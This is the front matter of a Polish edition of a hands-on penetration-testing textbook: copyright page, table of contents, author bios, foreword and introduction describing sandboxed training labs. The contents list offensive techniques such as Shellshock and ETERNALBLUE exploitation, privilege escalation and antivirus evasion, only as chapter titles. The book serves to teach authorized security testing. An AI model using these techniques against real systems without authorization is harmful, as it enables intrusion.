WARSZTAT

HAKERA T E S T Y P E N E T R A C YJ N E
I INNE TECHNIKI
W Y K R Y WA N I A P O D AT N O Ś C I

MAT THE W HICKE Y, JENNIFER ARCURI

Tytuł oryginału: Hands on Hacking: Become an Expert at Next Gen Penetration Testing
and Purple Teaming

Tłumaczenie: Wojciech Moch

ISBN: 978-83-283-7943-5

Copyright © 2020 by John Wiley & Sons, Inc., Indianapolis, Indiana

All Rights Reserved. This translation published under license with the original publisher
John Wiley & Sons, Inc.

No part of this publication may be reproduced, stored in a retrieval system, or transmitted in any form
or by any means, electronic, mechanical, photocopying, recording, scanning, or otherwise, without either
the prior written permission of the Publisher.

Translation copyright © 2022 by Helion S.A.

Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or
its affiliates, in the United States and other countries, and may not be used without written permission.
All other trademarks are the property of their respective owners. John Wiley & Sons, Inc. is not associated
with any product or vendor mentioned in this book.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej

publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną,
fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje
naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz wydawca dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne
i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym
ewentualne naruszenie praw patentowych lub autorskich. Autor oraz wydawca nie ponoszą również
żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Helion S.A.
ul. Kościuszki 1c, 44-100 Gliwice
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: https://helion.pl (księgarnia internetowa, katalog książek)

Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
https://helion.pl/user/opinie/warhak_ebook
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

 Poleć książkę na Facebook.com  Księgarnia internetowa

 Kup w wersji papierowej  Lubię to! » Nasza społeczność
 Oceń książkę

3681988c430c7fe1e8567c4e2f281f7b
3
 Ta książka jest dedykowana wszystkim poszukującym wiedzy
i poznającym zasady hakingu komputerowego.
Mamy nadzieję, że ta książka poprowadzi dzisiejszych i przyszłych hakerów,
umożliwiając im osiągnięcie celów i aspiracji.

3681988c430c7fe1e8567c4e2f281f7b
3
3681988c430c7fe1e8567c4e2f281f7b
3
 Spis treści

O autorach 15

O redaktorach merytorycznych 17

Podziękowania 18

Przedmowa 19

Wprowadzenie 21

Rozdział 1. Hakowanie jako przypadek biznesowy 29

Wszystkie komputery są zepsute 30
Stawka 32
Co jest kradzione i dlaczego jest to wartościowe? 32
Internet rzeczy podatnych na ataki 32
Niebieskie, czerwone i purpurowe zespoły 33
Niebieskie zespoły 33
Czerwone zespoły 33
Purpurowe zespoły 35
Hakowanie jako część systemu odpornościowego firmy 37
Podsumowanie 39

3681988c430c7fe1e8567c4e2f281f7b
3
6 Spis treści

Rozdział 2. Etyczne i legalne hakowanie 41

Prawa wpływające na Twoją pracę 42
Bezprawne hakowanie 43
Sąsiedzkie hakowanie 43
Szara strefa 43
Metodologie testów penetracyjnych 44
Autoryzacja 46
Odpowiedzialne ujawnianie 46
Programy nagród za błędy 48
Porady prawne 49
Kodeks postępowania firmy Hacker House 49
Podsumowanie 50

Rozdział 3. Przygotowanie narzędzi do hakowania 51

Sprzęt do hakowania 52
Linux czy BSD? 54
Systemy operacyjne hosta 55
Gentoo Linux 55
Arch Linux 56
Debian 56
Ubuntu 56
Kali Linux 57
Kontrolowanie pobranych plików 57
Szyfrowanie dysku 59
Podstawowe oprogramowanie 61
Zapora sieciowa 62
Menedżer haseł 63
E-mail 64
Konfigurowanie VirtualBoksa 64
Ustawienia wirtualizacji 64
Pobieranie i instalowanie VirtualBoksa 65
Sieć wewnątrz hosta 65
Tworzenie maszyny wirtualnej Kali Linux 68
Laboratoria 77
Dodatki dla systemu gościa 80
Testowanie wirtualnego środowiska 80
Tworzenie serwera z podatnościami 82
Podsumowanie 83

3681988c430c7fe1e8567c4e2f281f7b
3
Spis treści 7

Rozdział 4. Zbieranie danych z otwartych źródeł 84

Czy Twój klient potrzebuje analizy OSINT? 85
Czego należy szukać? 86
Gdzie znaleźć te dane? 87
Narzędzia do OSINT 87
Pobieranie adresów e-mail za pomocą Google 88
Technika Google dorking 90
Krótkie wprowadzenie do plików passwd i shadow 90
Baza danych zapytań Google 93
Czy już mnie przejęli? 94
Framework Recon-ng 95
Jak działa framework Recon-ng? 101
Zbieranie danych z sieci WWW 102
Metadane dokumentu 103
Maltego 106
Sieci społecznościowe 107
Shodan 109
Ochrona przed działaniami OSINT 111
Podsumowanie 112

Rozdział 5. System DNS 113

Implikacje hakowania serwerów DNS 113
Krótka historia systemu DNS 114
Hierarchia systemu DNS 114
Proste zapytanie DNS 115
Odpowiedzialność i strefy 117
Rekordy zasobów w systemie DNS 118
BIND9 120
Narzędzia do hakowania serwerów DNS 123
Znajdowanie hostów 124
WHOIS 124
Siłowe poznawanie nazw hostów za pomocą Recon-ng 125
Host 126
Wyszukiwanie serwerów SOA za pomocą Dig 127
Hakowanie wirtualnego serwera nazw 129
Skanowanie portów za pomocą narzędzia Nmap 129
Wykopywanie informacji 131
Wybieranie rekordów zasobów 133
CHAOS ujawnia informacje 136
Żądania transferu strefy 138
Narzędzia do gromadzenia informacji 139
Fierce 139
Dnsrecon 140
Dnsenum 140

3681988c430c7fe1e8567c4e2f281f7b
3
8 Spis treści

Poszukiwanie podatności i exploitów 142

Searchsploit 142
Inne źródła 144
Wzmocnienie sieciowego ruchu DNS 144
Metasploit 145
Przeprowadzanie ataku DoS 149
Ataki DoS we frameworku Metasploit 150
Udawanie serwera DNS 151
Zatruwanie pamięci podręcznej DNS 152
Węszenie w pamięci podręcznej DNS 154
DNSSEC 155
Rozmywanie 155
Podsumowanie 157

Rozdział 6. Poczta elektroniczna 158

Jak działa poczta? 158
Nagłówki wiadomości 160
Powiadomienia o stanie doręczenia 161
Protokół SMTP 163
Sender Policy Framework 165
Skanowanie serwera pocztowego 167
Wyniki pełnego skanowania programem Nmap (TCP) 171
Sondowanie serwisu SMTP 173
Otwarte serwery przekazujące 175
Protokół POP 176
Protokół IMAP 178
Oprogramowanie do obsługi poczty 179
Exim 180
Sendmail 180
Cyrus 181
PHP Mail 181
Webmail 182
Enumerowanie użytkowników za pomocą usługi Finger 183
Atak siłowy na serwis POP 188
Język skryptowy programu Nmap 190
CVE-2014-0160 — błąd Heartbleed 192
Wykorzystywanie błędu CVE-2010-4345 200
Udało się? 202
Poprawianie powłoki 203
Wykorzystanie błędu CVE-2017-7692 205
Podsumowanie 207

3681988c430c7fe1e8567c4e2f281f7b
3
Spis treści 9

Rozdział 7. Sieć WWW pełna podatności 209

Sieć WWW 210
Protokół HTTP 211
Metody i czasowniki HTTP 213
Kody odpowiedzi HTTP 214
Protokół bezstanowy 215
Pliki cookie 216
Adresy URI 217
LAMP: Linux, Apache, MySQL i PHP 219
Serwer WWW: Apache 220
Baza danych: MySQL 220
Skrypty po stronie serwera: PHP 221
Nginx 222
Microsoft IIS 223
Pająki i gąsienice 223
Narzędzia hakera serwerów WWW 224
Skanowanie portów serwera WWW 225
Ręczne żądania HTTP 227
Skanowanie podatności 229
Ukryte treści 233
Nmap 233
Przeszukiwanie katalogów 234
Podatności związane z przejściem po katalogach 235
Przesyłanie plików 236
WebDAV 237
Weevely, czyli sieciowa powłoka 238
Uwierzytelnianie HTTP 240
Technologia CGI 241
Shellshock 243
Wykorzystywanie błędu Shellshock za pomocą Metasploita 244
Wykorzystywanie błędu Shellshock za pomocą programów cURL i Netcat 245
SSL, TLS i Heartbleed 248
Sieciowe interfejsy administracyjne 254
Apache Tomcat 254
Webmin 256
phpMyAdmin 258
Serwery proxy w sieci WWW 259
Proxychains 259
Podnoszenie uprawnień 262
Podniesienie uprawnień za pomocą ataku DirtyCOW 263
Podsumowanie 265

3681988c430c7fe1e8567c4e2f281f7b
3
10 Spis treści

Rozdział 8. Wirtualne sieci prywatne 267

Czym jest sieć VPN? 267
Protokół IPsec 269
Protokół IKE 269
Protokół TLS i sieci VPN 270
Bazy danych i uwierzytelnianie użytkowników 271
Baza danych SQL 271
RADIUS 271
LDAP 271
PAM 272
TACACS+ 272
Agencja NSA i sieci VPN 272
Narzędzia hakera do pracy z sieciami VPN 273
Metody hakowania sieci VPN 273
Skanowanie portów serwera VPN 274
Hping3 274
Skanowanie portów UDP za pomocą programu Nmap 276
Skanowanie portów IKE 277
Wykrywanie opcji kojarzenia zabezpieczeń 278
Tryb agresywny 280
OpenVPN 282
LDAP 290
OpenVPN i Shellshock 291
Wykorzystywanie błędu CVE-2017-5618 292
Podsumowanie 295

Rozdział 9. Pliki i współdzielenie plików 296

Czym są urządzenia NAS? 297
Uprawnienia do plików 297
Narzędzia do hakowania urządzeń NAS 300
Skanowanie portów serwera plików 301
Protokół FTP 301
Protokół TFTP 303
Zdalne wywoływanie procedur 305
RPCinfo 306
Protokół SMB 307
NetBIOS i NBT 308
Konfigurowanie Samby 310
Enum4Linux 311
SambaCry (CVE-2017-7494) 315
Rsync 317
System NFS 319

3681988c430c7fe1e8567c4e2f281f7b
3
Spis treści 11

Podniesienie uprawnień w systemie NFS 320

Poszukiwanie przydatnych plików 322
Podsumowanie 323

Rozdział 10. UNIX 324

Administrowanie systemem UNIX 324
Solaris 325
Narzędzia do hakowania systemu Unix 327
Skanowanie portów w systemie Solaris 328
Telnet 329
Secure Shell 332
RPC 334
CVE-2010-4435 336
CVE-1999-0209 337
CVE-2017-3623 338
EBBSHAVE — Święty Graal hakerów 338
Usługi R-services 345
Protokół SNMP 346
Ewok 348
System drukowania CUPS 348
System X Window 350
Usługa Cron i lokalne pliki 354
Środowisko graficzne CDE 357
EXTREMEPARR 358
Podsumowanie 359

Rozdział 11. Bazy danych 361

Typy baz danych 362
Bazy danych w zwykłych plikach 362
Relacyjne bazy danych 362
Nierelacyjne bazy danych 364
Język SQL 364
Funkcje zdefiniowane przez użytkownika 365
Zestaw narzędzi hakera baz danych 366
Typowe używanie baz danych 366
Skanowanie portów serwera baz danych 367
MySQL 368
Badanie baz MySQL 368
Uwierzytelnianie w serwerze MySQL 378
PostgreSQL 379
Ucieczka z serwera baz danych 381
Bazy danych Oracle Database 382
MongoDB 385

3681988c430c7fe1e8567c4e2f281f7b
3
12 Spis treści

Redis 385
Podnoszenie uprawnień za pomocą bazy danych 387
Podsumowanie 395

Rozdział 12. Aplikacje sieciowe 397

OWASP Top 10 398
Narzędzia hakera aplikacji sieciowych 399
Skanowanie portów w serwerze aplikacji sieciowej 399
Korzystanie z przechwytującego serwera proxy 400
Konfigurowanie narzędzi Burp Suite Community Edition 400
Używanie programu Burp Suite z protokołem HTTPS 408
Ręczne przeglądanie stron 412
Używanie pająków 415
Wyszukiwanie punktów wejściowych 417
Skanery podatności w aplikacjach sieciowych 417
Zed Attack Proxy 418
Burp Suite Professional 419
Skipfish 419
Poszukiwanie podatności 420
Wstrzykiwanie 420
Wstrzykiwanie SQL 421
SQLmap 426
Drupageddon 431
Ochrona przed atakami wstrzykiwania poleceń SQL 431
Inne błędy wstrzykiwania poleceń 432
Niepoprawne uwierzytelnianie 432
Ujawnianie wrażliwych danych 434
Zewnętrzne encje XML 435
CVE-2014-3660 436
Niepoprawna kontrola dostępu 437
Przechodzenie przez katalogi 438
Niepoprawna konfiguracja zabezpieczeń 439
Strony błędów oraz ślady stosu 440
Cross-Site Scripting 440
Framework BeEF 443
Dodatkowe informacje o podatnościach XSS 447
Unikanie filtrów XSS 448
Niebezpieczna deserializacja 450
Znane podatności 451
Niewystarczające protokołowanie i monitorowanie 451
Podnoszenie uprawnień 452
Podsumowanie 453

3681988c430c7fe1e8567c4e2f281f7b
3
Spis treści 13

Rozdział 13. Microsoft Windows 455

Czym różni się hakowanie Windows od hakowania Linuksa? 456
Domeny, drzewa i lasy 456
Użytkownicy, grupy i uprawnienia 459
Skróty haseł 460
Oprogramowanie antywirusowe 461
Omijanie funkcji Kontrola konta użytkownika 462
Konfigurowanie maszyny wirtualnej z systemem Windows 463
Narzędzia do hakowania systemów Windows 464
Windows i agencja NSA 465
Skanowanie portów systemu Windows Server 466
Microsoft DNS 467
Serwer IIS 468
Kerberos 469
Złote tokeny 470
NetBIOS 472
LDAP 472
Protokół SMB 473
ETERNALBLUE 474
Enumerowanie użytkowników 477
Microsoft RPC 486
Harmonogram zadań 493
Zdalny pulpit 493
Powłoka systemu Windows 495
PowerShell 497
Podnoszenie uprawnień w powłoce PowerShell 498
PowerSploit i AMSI 499
Meterpreter 500
Zbieranie skrótów haseł 501
Używanie skrótów haseł 502
Podnoszenie uprawnień 503
Uzyskanie uprawnień konta SYSTEM 504
Inne metody przesyłania payloadu 505
Unikanie Windows Defendera 507
Podsumowanie 510

Rozdział 14. Hasła 512

Haszowanie 512
Narzędzia do łamania haseł 514
Łamanie haseł 514
Tablice haszy i tablice tęczowe 518
Dodawanie soli 519

3681988c430c7fe1e8567c4e2f281f7b
3
14 Spis treści

Badanie pliku /etc/shadow 520

Inne rodzaje skrótów 524
MD5 524
SHA-1 525
SHA-2 525
bcrypt 526
CRC16 i CRC32 526
PBKDF2 526
Kolizje 527
Pseudohaszowanie 527
Haszowanie z firmą Microsoft 529
Zgadywanie haseł 531
Sztuka łamania haseł 532
Generatory liczb losowych 533
Podsumowanie 534

Rozdział 15. Pisanie raportów 536

Czym jest raport z testu penetracyjnego? 536
System CVSS 537
Wektor ataku 538
Złożoność ataku 539
Wymagane uprawnienia 539
Interakcja z użytkownikiem 539
Zakres 540
Wpływ na poufność, spójność i dostępność danych 540
Umiejętność pisania raportów 541
Co powinno znaleźć się w raporcie? 542
Podsumowanie dla dyrektorów 542
Podsumowanie techniczne 543
Ocena wyników 544
Informacje uzupełniające 544
Sporządzanie notatek 545
Dradis Community Edition 545
Sprawdzanie tekstu 549
Przekazanie raportu 550
Podsumowanie 551

3681988c430c7fe1e8567c4e2f281f7b
3
 O autorach

Matthew Hickey jest profesjonalnym hakerem o ponad 20-letnim doświad-

czeniu i współzałożycielem firmy Hacker House zajmującej się cyberbezpie-
czeństwem. Uzyskał wiele różnych certyfikatów CESG CHECK i CREST,
a w uznaniu jego umiejętności technicznych przyznano mu tytuł CREST
Fellowship. Często jest proszony o prowadzenie długotrwałych prac ocenia-
jących, które dokładnie odzwierciedlają rzeczywiste wyzwania związane
z bezpieczeństwem przez symulowanie ataków na firmy globalne lub dzia-
łanie w środowiskach o wysokim stopniu ryzyka. Specjalizuje się przede wszystkim w ofensywnych
testach zabezpieczeń, wskazujących podatności wykorzystywane przez atakujących, co pozwala na
wybranie i zaimplementowanie właściwych środków zaradczych. Na zamówienie przygotowuje
exploity oraz narzędzia zabezpieczające, których można używać podczas testowania rozwiązań cy-
berbezpieczeństwa.
Matthew przez większość czasu zajmuje się hakingiem, tworzeniem testów penetracyjnych,
przygotowywaniem materiałów treningowych, pisaniem exploitów oraz tworzeniem narzędzi do
hakingu. W 2019 roku opublikował instrukcje hakowania amerykańskich urządzeń wyborczych,
tak żeby można było na nich grać w klasyczną grę DooM. Podał też szczegóły oprogramowania
szpiegowskiego używanego na smartfonach w Korei Północnej. Był prezenterem na wielu kon-
ferencjach związanych z bezpieczeństwem, podając na nich wyniki swoich badań nad zabezpiecze-
niami systemów osadzonych, kryptografii, wykorzystywania słabości w oprogramowaniu, rozwią-
zań mobilnych i technologii bezprzewodowych.
W związku ze swoją pracą Matthew bardzo często udziela się w sieci i regularnie komentuje
w prasie tematy związane z cyberbezpieczeństwem, takie jak krytyczne luki wykrywane w syste-
mach operacyjnych, ataki związane z kryptowalutami, zabezpieczenia w Korei Północnej, ujaw-
nione narzędzia hakerskie NSA albo bezpieczeństwo systemu usług medycznych w Wielkiej Bry-
tanii. Przygotował i opublikował wiele exploitów typu zero-day, napisał narzędzia do testowania

15

3681988c430c7fe1e8567c4e2f281f7b
3
16 O autorach

zabezpieczeń produktów takich firm jak Microsoft, Apple, NetBSD, Cisco, Linux, Hewlett Packard,
SCO, Sun Microsystems, Silicon Graphics, IBM, SAGEM, OpenBSD, NetGear i wielu innych.
Matthew pochodzi z Manchesteru w Anglii, miasta słynącego ze swojej drużyny piłkarskiej, sztuki,
muzyków i hakerów.

Jennifer Arcuri jest seryjną przedsiębiorczynią, która aktualnie skupia się

na podnoszeniu poziomu świadomości o cyberbezpieczeństwie i prowadze-
niu szkoleń w Stanach Zjednoczonych i Wielkiej Brytanii. Jest założycielką
i prezeską firmy Hacker House, zajmującej się sprawami bezpieczeństwa
w Wielkiej Brytanii. W 2012 roku Jennifer zorganizowała jedną z najważniej-
szych konferencji technicznych w Londynie — InnoTech Summit. To bar-
dzo istotna seria spotkań, gromadząca najważniejszych decydentów, przed-
stawicieli korporacji i start-upów, której celem jest zamknięcie rozdźwięku między legislacją
a nowoczesnymi technologiami. W latach 2014 – 2015 firma InnoTech Network specjalizowała się
w organizowaniu eventów poświęconych bezpieczeństwu informacji oraz niezbędnym umiejętno-
ściom związanym z bezpieczeństwem. Uczestniczyli w nich przedstawiciele policji, jak również
reprezentanci premiera, departamentu kultury i mediów, policji metropolitalnej Londynu, mini-
sterstwa obrony oraz agencji NCA. Takie eventy w połączeniu z ruchami społecznościowymi gro-
madzącymi hakerów doprowadziły do uruchomienia jednej z największych kampanii na rzecz
etycznego hakingu w Wielkiej Brytanii, której celem było upowszechnienie i nauka umiejętności
etycznego hakowania. Jej praca zyskała na popularności po przemówieniu na TEDx Talk w Liver-
poolu („Dlaczego etyczny haking jest tak ważny w XXI wieku?”), które doprowadziło do wielu
zmian w zasadach panujących w Wielkiej Brytanii i dotyczących szkolnej edukacji związanej z umie-
jętnościami cybernetycznymi. Jennifer uczestniczyła też w kilku brytyjskich kampaniach promują-
cych różne umiejętności, przemawiała w klasach wielu londyńskich szkół, opowiadając o problemach
związanych z internetowym molestowaniem, pokazując, co należy zrobić w przypadku przełama-
nia zabezpieczeń, oraz omawiając temat bezpieczeństwa dzieci w sieci. Dzięki swym staraniom
legislacyjnym, organizowanym eventom i zaangażowaniu w sprawy związane z bezpieczeństwem
w 2014 roku mogła złożyć firmę Hacker House, która stała się centralnym punktem społeczności
hakerów w Londynie. Od tego czasu przygotowała sieciowy portal szkoleniowy umożliwiający
szkolenie wielu ludzi w zakresie cyberbezpieczeństwa. W ostatnich latach firma Hacker House
szkoliła uczniów z całego świata i rozwijała swoją działalność, zachęcając inne firmy do przyjmo-
wania tej samej strategii wykorzystania umiejętności związanych z cyberbezpieczeństwem.

3681988c430c7fe1e8567c4e2f281f7b
3
 O redaktorach
merytorycznych

Kevin Carwell 22 lata służył w U.S. Navy. Jako inżynier oprogramowania i inżynier systemów pra-
cował przy wielu projektach departamentu obrony. Początkowo został wybrany jako członek ze-
społu projektowego, którego zadaniem było umożliwienie dostępu do internetu na statkach mor-
skich. Po zakończeniu tego bardzo udanego projektu Kevin został wybrany liderem zespołu, który
budował centrum operacji i bezpieczeństwa sieci (NOSC — network operations and security center)
udostępniające usługi dowództwom morskim i okrętom znajdującym się na morzu w rejonie
Morza Norweskiego oraz Oceanu Atlantyckiego. Kevin przez sześć lat pełnił funkcję lidera odpo-
wiedzialnego za bezpieczeństwo informacji w centrum NOSC. W tym czasie wypracował strategię
oraz plan szkoleń, które miały przygotować zespół ekspertów. Przyjmowano do nich osoby z niemal
zerowym doświadczeniem, tworząc powoli zespół ekspertów działających w całym centrum NOSC.
Kevin jest aktualnie prezesem dwóch firm konsultingowych specjalizujących się w cyberbez-
pieczeństwie. Ma tytuł inżyniera nauk komputerowych uzyskany na uniwersytecie kalifornijskim
oraz tytuł magistra inżynierii oprogramowania uzyskany na uniwersytecie Southern Methodist
University w Teksasie.

Megan Daudelin pracuje jako konsultantka specjalizująca się w cyberbezpieczeństwie. Ma tytuły

inżyniera oraz magistra, jak również wiele specjalistycznych certyfikatów. W trakcie swojej kariery
Megan pracowała jako analityczka kryminalistyki cyfrowej, analityczka bezpieczeństwa informacji
oraz projektantka programów nauczania w zakresie cyberbezpieczeństwa. Megan bardzo lubi
udzielać się przy opracowywaniu nowych książek oraz nauczać na swojej macierzystej uczelni.
W wolnym czasie Megan odpręża się, zwiedzając ciekawe zakątki Nowej Anglii razem ze swoim
mężem i dwoma owczarkami niemieckimi.

17

3681988c430c7fe1e8567c4e2f281f7b
3
Podziękowania

Autorzy chcieliby podziękować zespołowi redaktorów wydawnictwa Wiley, a szczególnie Gary’emu

Schwartzowi, Kevinowi Cardwellowi i Megan Daudelin, za przekazywane uwagi, pomysły i infor-
macje techniczne, które przyczyniły się do zwiększenia jakości tej książki. Dziękujemy też wszyst-
kim pracownikom wydawnictwa Wiley, ze szczególnym uwzględnieniem Baratha Kumara Rajase-
karana, za okazaną cierpliwość i zrozumienie w czasie prac nad książką. Po drodze mieliśmy kilka
wypadków, ale wszyscy nadal w nas wierzyli. I w końcu firma Hacker House chciałaby podziękować
Elisie Tidswell i Edwardowi Archerowi za pomoc udzielaną w czasie, gdy powstawała ta książka.

18

3681988c430c7fe1e8567c4e2f281f7b
3
 Przedmowa

Przedmowa została napisana przez Reya Bango, który jest specjalistą do spraw bezpieczeń-
stwa w firmie Microsoft, gdzie skupia się na pomaganiu społeczności przy tworzeniu bezpiecz-
nych systemów. Jednocześnie w samej firmie Microsoft jest głosem praktyka związanego z za-
bezpieczeniami systemów. Rey zajął się sprawami cyberbezpieczeństwa po przepracowaniu
niemal 30 lat jako programista.

Nigdy nie planowałem zostać specjalistą od cyberbezpieczeństwa. Od tak dawna byłem progra-
mistą, że myśl o zmianie ścieżki kariery nawet nie przeszła mi przez głowę. Wydaje mi się, że po-
dobnie jak wielu innych programistów uważałem, że sprawa bezpieczeństwa była problemem
działu IT (a nie problemem samego oprogramowania), a zatem nie miałem powodu, żeby się nią
zajmować. Cóż, nie mogłem się bardziej mylić.
W rzeczywistości okazuje się, że działania złoczyńców cały czas ewoluują, gdy próbują oni po-
konać zabezpieczenia przygotowywane przez firmy. Gdy firmy zaczęły coraz chętniej wdrażać roz-
wiązania chmurowe, okazało się, że ataki na infrastrukturę stały się kosztowniejsze i bardziej cza-
sochłonne. A w świecie cyberprzestępczości panuje stara zasada, że czas to pieniądz. Oznacza to,
że dla wielu cyberprzestępców znacznie lepszą inwestycją są poszukiwania mniej chronionych
punktów wejścia.
I tu musimy wspomnieć o usługach sieciowych. Programiści są tylko ludźmi i będą robili różne
błędy podczas tworzenia systemów. Może tu chodzić o niedostatecznie wyczyszczone dane wej-
ściowe albo o klucz do API przypadkowo ujawniony w publicznym repozytorium GIT. Takie błędy
bywają kosztowne i to właśnie one skłoniły mnie do zainteresowania się zagadnieniami związanymi
z bezpieczeństwem.
Zawsze myślałem, że cyberprzestępcy skupiają się na atakowaniu infrastruktury, wyszukiwaniu
dziur w systemach operacyjnych albo w usługach systemowych, aby w ten sposób uzyskać dostęp do
sieci, albo używają źle skonfigurowanych elementów sieci do wykradania wartościowych informacji.

19

3681988c430c7fe1e8567c4e2f281f7b
3
20 Przedmowa

Coraz częściej natykałem się jednak na artykuły mówiące, że przestępcy wykorzystują również źle
zaprojektowane aplikacje oraz frameworki programistyczne, aby złamać zabezpieczenia systemów
i w ten sposób uzyskać nawet nieograniczony dostęp do całej sieci! Takie informacje przerażały
mnie i jednocześnie zwiększały moje zainteresowanie. Chciałem dowiedzieć się więcej.
W internecie jest ogromna ilość informacji o tym, „jak coś zhakować”, ale próba połączenia
tych strzępków informacji w coś zrozumiałego dla osób wkraczających w świat zabezpieczeń jest
niezwykle żmudnym zadaniem. Nadmiar informacji może szybko przytłoczyć początkujących, co
z kolei może sprawić, że zaczną sobie zadawać pytanie, czy zajęcie się cyberbezpieczeństwem było
dobrym pomysłem. To właśnie przytrafiło się mnie. Bardzo szybko przytłoczyła mnie ilość postów
na blogach poświęconych bezpieczeństwu, różnych wideo oraz innych narzędzi, które same w sobie
były naprawdę świetne, ale nie ułatwiały zrozumienia tego, w jakim zakresie zabezpieczeń należy
je stosować. Marzyłem o ustaleniu metod nauczania o technikach stosowanych przez osoby zawo-
dowo zajmujące się bezpieczeństwem w trakcie prowadzonych testów systemów. I wtedy natknąłem
się na firmę Hacker House.
Hacker House przedstawiło program nauczania, który pozwolił mi uzyskać podstawowe umie-
jętności niezbędne do zrozumienia sposobów działania atakujących nasze systemy. Nie tylko uzy-
skałem odpowiedzi na pytania, „jak” przeprowadzane są pewne rodzaje ataków, ale dowiedziałem
się też „dlaczego” w określonych sytuacjach używane są wybrane techniki i narzędzia.
Gdy pierwszy raz otwarłem okno konsoli w trakcie kursu, zostałem zaskoczony faktem, że ktoś
może zdalnie przejąć kontrolę nad innym systemem. Nie mogłem oderwać oczu od ekranu. W ten
sposób dowiedziałem się, jak łatwo można przejąć całą sieć, jeżeli przesyłane dane nie są odpowied-
nio oczyszczane, co pozwala na zainstalowanie zdalnej powłoki w systemie. To był szok, którego
potrzebowałem jako programista, ponieważ uświadomił mi, że bezpieczeństwo jest ważne w każdym
elemencie systemu.
Dzisiaj pracuję w dziale cyberbezpieczeństwa firmy Microsoft, a jedną z rzeczy, jakich nauczyłem
się w międzyczasie, jest to, że temat bezpieczeństwa to nieustanna możliwość uczenia się nowych
rzeczy z wielu różnych dziedzin. Zawsze jesteśmy pod presją, ponieważ przestępcy nieustannie pró-
bują przełamywać istniejące granice. Pamiętaj, że wejście do tego świata będzie najprawdopodob-
niej największym wyzwaniem. Zachęcam zatem, żeby poświęcić czas na wybranie dla siebie odpo-
wiedniego kursu i znalezienie mentora, który będzie zainteresowany rozwojem Twojej kariery.
Miałem szczęście, że trafiłem do firmy Hacker House, która wytyczyła moją ścieżkę.
— Rey Bango

3681988c430c7fe1e8567c4e2f281f7b
3
 Wprowadzenie

Witaj w naszej książce poświęconej hakingowi. Sądzimy, że na rynku nie ma zbyt wielu książek
podobnych do tej. Oczywiście istnieje wiele książek o hakingu (o bezpieczeństwie informacji,
testach penetracyjnych itd.), ale ile z nich podaje wszystkie informacje niezbędne do natychmia-
stowego rozpoczęcia bezpiecznego hakowania pierwszych systemów komputerowych? W tej książce
zaprezentujemy trzy laboratoria (możesz je nazywać piaskownicami), które można uruchomić na
swoim laptopie lub komputerze stacjonarnym. Używając tych laboratoriów, możesz eksperymen-
tować z różnymi narzędziami i technikami (tymi samymi, które są dzisiaj używane przez złośliwych
hakerów), nie stanowiąc żadnego ryzyka dla własnych systemów i systemów zewnętrznych. Poka-
żemy, jak można hakować te systemy za pomocą narzędzi o otwartych źródłach, które można
pobrać, a następnie używać ich bez żadnych opłat. Aby przeprowadzić wszystkie prezentowane tu
ćwiczenia, nie musisz zatem kupować żadnych dodatkowych elementów.
Ta książka powstała jako wynik prac ludzi z firmy Hacker House, która specjalizuje się w pro-
wadzeniu sieciowych treningów z zakresu cyberbezpieczeństwa oraz wykonywania testów pene-
tracyjnych. Od czasu jej powstania w Londynie w 2014 roku jednym z tematów powracających na
zebraniach firmowych (a organizujemy wiele spotkań i innych eventów) jest opracowanie metod
sprawnego wyszukiwania talentów i rozwijania umiejętności. Chcieliśmy dowiedzieć się, jak można
uchwycić buntowniczą duszę hakera, która nakazuje kwestionować autorytety i sposób działania
systemu. To Jennifer Arcuri jako pierwsza zaproponowała utworzenie firmy, która mogłaby wyko-
rzystywać potencjał drzemiący w hakerach, tak aby wspomóc działania firm próbujących poprawić
poziom swojego bezpieczeństwa. Później do firmy dołączył Matthew Hickey, który przygotował
treści i inne techniczne elementy ułatwiające realizację firmowej misji.

21

3681988c430c7fe1e8567c4e2f281f7b
3
22 Wprowadzenie

Coraz rzadziej zdarzają się dni, gdy nikt nie przeprowadza wielkiej operacji, w wyniku której
zaatakowana firma traci miliony dolarów albo wykradane są różne ważne dane, w tym i dane oso-
bowe. Jedną z głównych przyczyn niepowodzeń wielu firm w zakresie utrzymania bezpieczeństwa
jest to, że ich wewnętrznym zespołom bezpieczeństwa brakuje odpowiednich umiejętności.
Nawet zatrudnienie zewnętrznego konsultanta nie daje gwarancji, że wskaże on wszystkie braku-
jące łatki i istniejące luki w zabezpieczeniach, a zespół będzie w stanie usunąć te niedociągnięcia,
przez co firmowe dane będą bezpieczne i chronione przed ewentualnymi atakami.
Napisaliśmy tę książkę, chcąc pokazać lepsze sposoby rozwijania umiejętności związanych
z cyberbezpieczeństwem. Szkolenia konsultantów przekazujące im lepszą wiedzę teoretyczną nie
zmieniły sposobu przeprowadzania ataków. Nadal brakuje nam tysięcy specjalistów w dziedzinie,
która rozwija się tak szybko, że nie jesteśmy w stanie za nią nadążyć.
Zawartość tej książki zaczęła powstawać jako prosty kurs składający się z 12 modułów, które
miały być prezentowane w ramach czterodniowego szkolenia. Z tego kursu może dzisiaj korzystać
każdy. Wystarczy połączenie internetowe w dowolnym zakątku świata. W tej książce przejmujemy
techniki hakowania i narzędzia opisywane w kursie i przedstawiamy je razem z dokładniejszym
przewodnikiem, w którym kładziemy nacisk na praktyczne umiejętności, czyli zachęcamy do eks-
perymentowania. Przejrzeliśmy wszystkie laboratoria używane w ramach kursu i wybraliśmy z nich
tylko trzy, w których umieściliśmy wszystkie niezbędne elementy. Możesz tu korzystać z tych sa-
mych narzędzi, których używają uczestnicy kursu. W książce zakładamy jednak mniejsze doświad-
czenie czytelnika w porównaniu z wymaganiami samego kursu. Z tego powodu przedstawiamy
dokładniejsze opisy teoretyczne poszczególnych technologii, z których będziemy tu korzystać.
